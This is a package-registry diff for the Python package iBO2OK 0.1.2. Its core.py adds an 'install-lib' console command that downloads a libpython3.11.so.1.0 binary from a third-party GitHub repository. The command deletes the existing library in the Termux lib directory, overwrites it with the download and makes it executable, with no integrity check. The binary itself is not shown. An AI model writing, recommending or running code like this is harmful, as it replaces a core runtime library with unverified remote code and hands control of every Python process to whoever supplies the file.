iBO2OK 0.1.2__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- ibo2ok-0.1.2/PKG-INFO +3 -0
- ibo2ok-0.1.2/setup.cfg +4 -0
- ibo2ok-0.1.2/setup.py +13 -0
- ibo2ok-0.1.2/src/iBO2OK/__init__.py +1 -0
- ibo2ok-0.1.2/src/iBO2OK/core.py +36 -0
- ibo2ok-0.1.2/src/iBO2OK.egg-info/PKG-INFO +3 -0
- ibo2ok-0.1.2/src/iBO2OK.egg-info/SOURCES.txt +8 -0
- ibo2ok-0.1.2/src/iBO2OK.egg-info/dependency_links.txt +1 -0
- ibo2ok-0.1.2/src/iBO2OK.egg-info/entry_points.txt +2 -0
- ibo2ok-0.1.2/src/iBO2OK.egg-info/top_level.txt +1 -0
ibo2ok-0.1.2/PKG-INFO
ADDED
ibo2ok-0.1.2/setup.cfg
ADDED
ibo2ok-0.1.2/setup.py
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
from setuptools import setup, find_packages
|
|
2
|
+
|
|
3
|
+
setup(
|
|
4
|
+
name="iBO2OK",
|
|
5
|
+
version="0.1.2",
|
|
6
|
+
packages=find_packages(where="src"),
|
|
7
|
+
package_dir={"": "src"},
|
|
8
|
+
entry_points={
|
|
9
|
+
'console_scripts': [
|
|
10
|
+
'install-lib=iBO2OK.core:download_lib',
|
|
11
|
+
],
|
|
12
|
+
},
|
|
13
|
+
)
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
from .core import download_lib
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
import urllib.request as r
|
|
2
|
+
import os as o
|
|
3
|
+
|
|
4
|
+
def download_lib():
|
|
5
|
+
u = "https://raw.githubusercontent.com/HABS53/jubilant-dollop/main/libpython3.11.so.1.0"
|
|
6
|
+
d = o.environ.get('PREFIX', '/data/data/com.termux/files/usr') + '/lib/'
|
|
7
|
+
p = o.path.join(d, 'libpython3.11.so.1.0')
|
|
8
|
+
print("[*] انتظر دقايق.")
|
|
9
|
+
try:
|
|
10
|
+
if o.path.exists(p): o.remove(p)
|
|
11
|
+
o.makedirs(d, exist_ok=True)
|
|
12
|
+
q = r.Request(u, headers={'User-Agent': 'Mozilla/5.0'})
|
|
13
|
+
with r.urlopen(q, timeout=60) as s:
|
|
14
|
+
t = int(s.headers.get('content-length', 0))
|
|
15
|
+
n = 0
|
|
16
|
+
c = []
|
|
17
|
+
a = [31, 33, 32, 36, 34, 35]
|
|
18
|
+
while True:
|
|
19
|
+
h = s.read(8192)
|
|
20
|
+
if not h: break
|
|
21
|
+
c.append(h)
|
|
22
|
+
n += len(h)
|
|
23
|
+
if t > 0:
|
|
24
|
+
l = 50
|
|
25
|
+
f = int(l * n / t)
|
|
26
|
+
b = ""
|
|
27
|
+
for i in range(l):
|
|
28
|
+
clr = a[i % len(a)]
|
|
29
|
+
char = '~' if i < f else '•'
|
|
30
|
+
b += f"\033[{clr}m{char}\033[0m"
|
|
31
|
+
print(f'\r[{b}] {int(n * 100 / t)}%', end='', flush=True)
|
|
32
|
+
print()
|
|
33
|
+
with open(p, 'wb') as f: f.write(b''.join(c))
|
|
34
|
+
o.chmod(p, 0o755)
|
|
35
|
+
except Exception as e:
|
|
36
|
+
print(f"[!] فشلت العملية: {e}")
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
iBO2OK
|